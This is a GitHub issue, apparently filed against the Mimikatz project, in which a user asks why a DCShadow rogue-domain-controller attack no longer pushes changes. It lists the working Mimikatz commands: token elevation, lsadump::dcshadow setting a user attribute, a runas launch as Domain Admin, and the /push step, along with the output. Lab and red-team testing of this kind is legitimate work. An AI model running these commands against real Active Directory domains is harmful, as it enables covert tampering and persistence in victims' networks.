Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

New issue where the client Mimikatz session cannot see the RPC/fake server in a DCShadow attack #460

Open
rick-engle opened this issue Jan 23, 2025 · 0 comments

Comments

@rick-engle
Copy link

rick-engle commented Jan 23, 2025

I've been using the DCShadow attack with Mimikatz for quite a while successfully but without any known changes I'm seeing a new scenario where my fake server is not being seen.
I'm running the attack on a domain joined Windows 11 PC and the Windows firewall is turned off on that side but not on the DC. That is how I have been previously running the attack.

On session #1 I am running cmd.exe as an administrator then within mimikatz I run:
!+
!processtoken

then run the attribute command like this:
lsadump::dcshadow /object:user1compromised /attribute:LastLogonTimestamp /value=133793784493602588

I then see the server start up and waiting until a Cntrl-C is pressed.

In session #2, I launch it with:
runas /user:mydomain.com\baduser "C:\Attackfolder\x64\mimikatz.exe" (baduser is a Domain Admin)

Then when that comes up, I run the command:
lsadump::dcshadow /push

I do see output in session #2 that looks like this below, but there is no response on the fake server session side and the attribute is not updated:

Server: DC1.mydomain.com
InstanceId : {52021f09-72f2-4471-9114-9e582b9c071c}
InvocationId: {84090195-1a7d-43c3-8959-c7c59226d0a3}
Fake Server (not already registered): VICTIM1.mydomain.com

** Performing Registration **

** Performing Push **

Syncing DC=mydomain,DC=com
Sync Done

How can I troubleshoot this to determine why the server session of Mimikatz is not detecting the push command from the other session?

Rick

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant